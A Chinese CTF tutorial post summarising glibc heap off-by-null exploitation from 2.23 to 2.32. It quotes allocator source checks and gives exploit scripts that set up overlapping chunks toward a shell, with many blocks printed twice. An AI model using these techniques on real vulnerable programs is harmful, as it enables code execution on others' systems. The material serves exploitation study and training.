首页
社区
课程
招聘
[原创]新人PWN堆Heap总结off-by-null专场(三)
发表于: 2021-9-1 00:19 17522

[原创]新人PWN堆Heap总结off-by-null专场(三)

2021-9-1 00:19
17522

哎,水平还是太差,望师傅们斧正。

off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。

主要发生在_int_free的unlink中:

为了方便,依据物理地址相邻来命名如下:

Snipaste_2021-08-31_11-47-47

即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。

先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出

然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。

然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:

所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。

其次,这里还需要明白一个寻找chunk的原理。

即以下源码,这个一直没有变化过:

所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)

Snipaste_2021-08-31_11-57-00

这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。

off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。

此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。

0x100:这里注意到上面的布局中size位为0x100和0x70,这里的0x100就是为了通过off-by-null将0x101变成0x100设置的。当然设置为0x201,0x301通常也是一样的。

0x70:这里就通常是为了方便打fastbin attack,从_malloc_hook处构造0x7f字节错位用的。

这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。

从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。

加入的检查是

这里的p因为p = chunk_at_offset(p, -((long) prevsize));已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。

Snipaste_2021-08-31_11-57-00

首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:

加入的检查,就加了一个if语句:

即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。

按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。

Snipaste_2021-08-31_11-57-00

▲后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。

这里将的是2.29及以上的版本

这个之前写过,参考这篇文章:

2.29下的off-by-null | PIG-007

或者t1an5g师傅的文章:

https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2

当然ex师傅的原始解析也很好:

http://blog.eonew.cn/archives/1233

但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。

这个也写过,参考这篇:

2.29-2.32下的off-by-null | PIG-007

当然我也是参考WJH师傅的:

glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)

这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。

这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:

堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)

这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。

▲先看最终的布局效果:

Snipaste_2021-08-31_18-42-42

这样就能通过两项检查了:

由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:

并且将要利用的Chunk释放合并进入unsortedbin

Snipaste_2021-08-31_19-41-25

重构之后如下

那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。

Snipaste_2021-08-31_20-07-33

Snipaste_2021-08-31_20-40-24

重构之后如下

方便将0x****ff700x****f900的对于fd,bk进行off-by-null,使得0xb20变为0xb00。

现在就可以通过chunk179来将0x****f900中的bk给改掉。

通过chunk156来将0x****ff70中的fd给改掉。

①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。

②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。

③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。

④太他丫的麻烦了,有这时间布局还不如肝其他题.....

再贴个汇总的exp,基于libc2.30,自己的题目:

//2.23 when size>global_max_fast
 
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
 
 
if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
    /* consolidate forward */
    if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    }
 
 
 
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;                                      
    BK = P->bk;                                      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                      
        FD->bk = BK;                                  
        BK->fd = FD;                                  
        if (!in_smallbin_range (P->size)                      
            && __builtin_expect (P->fd_nextsize != NULL, 0))
        {              
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                malloc_printerr (check_action,                      
                                 "corrupted double-linked list (not small)",    
                                 P, AV);                          
            if (FD->fd_nextsize == NULL) {                      
                if (P->fd_nextsize == P)                      
                    FD->fd_nextsize = FD->bk_nextsize = FD;              
                else {                                  
                    FD->fd_nextsize = P->fd_nextsize;                  
                    FD->bk_nextsize = P->bk_nextsize;                  
                    P->fd_nextsize->bk_nextsize = FD;                  
                    P->bk_nextsize->fd_nextsize = FD;                  
                }                                  
            } else {                                  
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
            }                                      
        }                                      
    }
}
//2.23 when size>global_max_fast
 
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
 
 
if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
    /* consolidate forward */
    if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    }
 
 
 
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;                                      
    BK = P->bk;                                      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                      
        FD->bk = BK;                                  
        BK->fd = FD;                                  
        if (!in_smallbin_range (P->size)                      
            && __builtin_expect (P->fd_nextsize != NULL, 0))
        {              
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                malloc_printerr (check_action,                      
                                 "corrupted double-linked list (not small)",    
                                 P, AV);                          
            if (FD->fd_nextsize == NULL) {                      
                if (P->fd_nextsize == P)                      
                    FD->fd_nextsize = FD->bk_nextsize = FD;              
                else {                                  
                    FD->fd_nextsize = P->fd_nextsize;                  
                    FD->bk_nextsize = P->bk_nextsize;                  
                    P->fd_nextsize->bk_nextsize = FD;                  
                    P->bk_nextsize->fd_nextsize = FD;                  
                }                                  
            } else {                                  
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
            }                                      
        }                                      
    }
}
 
 
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
 
/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
 
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
 
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
 
/* extract p's inuse bit */
#define inuse(p)                                  \
  ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
 
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
 
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
 
/* extract p's inuse bit */
#define inuse(p)                                  \
  ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
 
 
add_malloc(0xf8,'\x00'*0xf8)    #0x1
add_malloc(0x68,'\x00'*0x68)    #0x2
add_malloc(0xf8,'\x00'*0xf8)    #0x3
add_malloc(0x68,'\x00'*0x68)    #0x4
free(0x1)
edit(0x2,0x70,'\x00'*0x60+p64(0x70+0x100)+p16(0x100))
free(0x3)
add_malloc(0xf8,'\x00'*0xf8)    #0x1
add_malloc(0x68,'\x00'*0x68)    #0x2
add_malloc(0xf8,'\x00'*0xf8)    #0x3
add_malloc(0x68,'\x00'*0x68)    #0x4
free(0x1)
edit(0x2,0x70,'\x00'*0x60+p64(0x70+0x100)+p16(0x100))
free(0x3)
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}
if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
 
/* Take a chunk off a bin list*/
static void
    unlink_chunk (mstate av, mchunkptr p)
{
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
 
    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;
 
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
 
    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        if (p->fd_nextsize->bk_nextsize != p
            || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");
 
        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
 
}
/* Take a chunk off a bin list*/
static void
    unlink_chunk (mstate av, mchunkptr p)
{
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
 
    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;
 
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
 
    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        if (p->fd_nextsize->bk_nextsize != p
            || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");
 
        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
 
}
if (chunksize (p) != prev_size (next_chunk (p)))
  malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
  malloc_printerr ("corrupted size vs. prev_size");
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
//_int_free中
if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
 
//unlink中
if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
//_int_free中
if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
 
//unlink中
if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
#get layout to let chunk0_addr = 0x****3a0
claim(0x88)# 0-6            #1-7
claim(0x98)# 7-13            #8-14
claim(0xa8)# 14-20            #15-21
claim(0xb8)# 21-27            #22-28
claim(0xc8)# 28-34            #29-35
claim(0xd8)# 35-41            #36-42
claim(0xe8)# 42-48            #43-49
 
#--------------------------
add_malloc(0x98,'\x00')# 49                 #50
add_malloc(0x98,'\x00')# 50                 #51        0x****f900
add_malloc(0x18,'\x00')# 51                  #52     0x****f9a0
add_malloc(0xa8,'\x00')# 52     0             #53        0x****f9c0
add_malloc(0xb8,'\x00')# 53     1             #54        0x****fa70
add_malloc(0xd8,'\x00')# 54     2             #55        0x****fb30
add_malloc(0xd8,'\x00')# 55                 #56       
add_malloc(0xe8,'\x00')# 56     3             #57        0x****fcf0
 
#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)
edit(57,0x10,fakeChunk_nextChunk_preSize)# 56            #57
 
add_malloc(0xe8,'\x00')# 57    4             #58     0x****fde0
add_malloc(0x98,'\x00')# 58                 #59
add_malloc(0xe8,'\x00')# 59                 #60     0x****ff70
add_malloc(0x18,'\x00')# 60                 #61
#get layout to let chunk0_addr = 0x****3a0
claim(0x88)# 0-6            #1-7
claim(0x98)# 7-13            #8-14
claim(0xa8)# 14-20            #15-21
claim(0xb8)# 21-27            #22-28
claim(0xc8)# 28-34            #29-35
claim(0xd8)# 35-41            #36-42
claim(0xe8)# 42-48            #43-49
 
#--------------------------
add_malloc(0x98,'\x00')# 49                 #50
add_malloc(0x98,'\x00')# 50                 #51        0x****f900
add_malloc(0x18,'\x00')# 51                  #52     0x****f9a0
add_malloc(0xa8,'\x00')# 52     0             #53        0x****f9c0
add_malloc(0xb8,'\x00')# 53     1             #54        0x****fa70
add_malloc(0xd8,'\x00')# 54     2             #55        0x****fb30
add_malloc(0xd8,'\x00')# 55                 #56       
add_malloc(0xe8,'\x00')# 56     3             #57        0x****fcf0
 
#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)
edit(57,0x10,fakeChunk_nextChunk_preSize)# 56            #57
 
add_malloc(0xe8,'\x00')# 57    4             #58     0x****fde0
add_malloc(0x98,'\x00')# 58                 #59
add_malloc(0xe8,'\x00')# 59                 #60     0x****ff70
add_malloc(0x18,'\x00')# 60                 #61
#free 0~48         #1~49
#-------------------------
#--tcache
for i in range(0,7):  #0x88     
    free(i+1)
for i in range(14,21):#0xa8
    free(i+1)
for i in range(21,28):#0xb8
    free(i+1)
for i in range(35,42):#0xd8
    free(i+1)
for i in range(42,49):#0xe8
    free(i+1)   
#--tcache
 
for i in range(52,57): #52~56                  #53~57  merge into unsortedbin
    free(i+1)
#free 0~48         #1~49
#-------------------------
#--tcache
for i in range(0,7):  #0x88     
    free(i+1)
for i in range(14,21):#0xa8
    free(i+1)
for i in range(21,28):#0xb8
    free(i+1)
for i in range(35,42):#0xd8
    free(i+1)
for i in range(42,49):#0xe8
    free(i+1)   
#--tcache
 
for i in range(52,57): #52~56                  #53~57  merge into unsortedbin
    free(i+1)
graph TD;
    0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)
graph TD;
    0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)
#---------------------------
# empty tcache
claim(0x88) #62~68
claim(0xa8) #69~75
claim(0xb8) #76~82
claim(0xd8) #83~89
claim(0xe8) #90~96
#---------------------------
 
#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(0x98,'\x00')# 52     #97      #0x****9c0
add_malloc(0x98,'\x00')# 53     #98        #0x****A60
 
fake_chunk_size = 0x98 * "a" + p16(0x200)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(98,0x98+0x2,fake_chunk_size)#53 #98
add_malloc(0x88,'\x00')#54     #99     #0x****B00
add_malloc(0x88,'\x00')#55  #100     #0x****B90
add_malloc(0xd8,'\x00')#56  #101     #0x****C70
#---------------------------
# empty tcache
claim(0x88) #62~68
claim(0xa8) #69~75
claim(0xb8) #76~82
claim(0xd8) #83~89
claim(0xe8) #90~96
#---------------------------
 
#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(0x98,'\x00')# 52     #97      #0x****9c0
add_malloc(0x98,'\x00')# 53     #98        #0x****A60
 
fake_chunk_size = 0x98 * "a" + p16(0x200)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(98,0x98+0x2,fake_chunk_size)#53 #98
add_malloc(0x88,'\x00')#54     #99     #0x****B00
add_malloc(0x88,'\x00')#55  #100     #0x****B90
add_malloc(0xd8,'\x00')#56  #101     #0x****C70
graph TD;
    0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)
graph TD;
    0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)
 
#------tcache
for i in range(7,14):#0x98
    free(i+1)
for i in range(0,7):#0x88
    free(i+1)
for i in range(42,49):#0xe8
    free(i+1)       
#------tcache
 
 
free(51)#0x98     #50      #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(99)#0x88      #54     #99
#let 99->bk = chunk60_addr(0x****ff70)
free(60)#0xe8     #59     #60 #0x****ff70
#------tcache
for i in range(7,14):#0x98
    free(i+1)
for i in range(0,7):#0x88
    free(i+1)
for i in range(42,49):#0xe8
    free(i+1)       
#------tcache
 
 
free(51)#0x98     #50      #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(99)#0x88      #54     #99
#let 99->bk = chunk60_addr(0x****ff70)
free(60)#0xe8     #59     #60 #0x****ff70
free(98)#0x98     #53     #98
 
#---------------add back
claim(0x88) #102~108
claim(0x98) #109~115
claim(0xe8) #116~122
#---------------add back
 
#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(0xd8,'\x00')# 0x32        #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(0xb8,'\x00')# 0x35          #124 0x****fa60
 
for i in range(0,7):#0x88
    free(i+1)
#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块
free(100)             #55     #100
 
claim(0x88)    #125~131
 
#切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中
add_malloc(0xb8,'\x00')#0x36     #132     0x****fb20
add_malloc(0x98,'\x00')#0x37      #133    0x****f900
add_malloc(0x38,'\x00')#0x3b     #134     0x****fbe0
free(98)#0x98     #53     #98
 
#---------------add back
claim(0x88) #102~108
claim(0x98) #109~115
claim(0xe8) #116~122
#---------------add back
 
#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(0xd8,'\x00')# 0x32        #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(0xb8,'\x00')# 0x35          #124 0x****fa60
 
for i in range(0,7):#0x88
    free(i+1)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//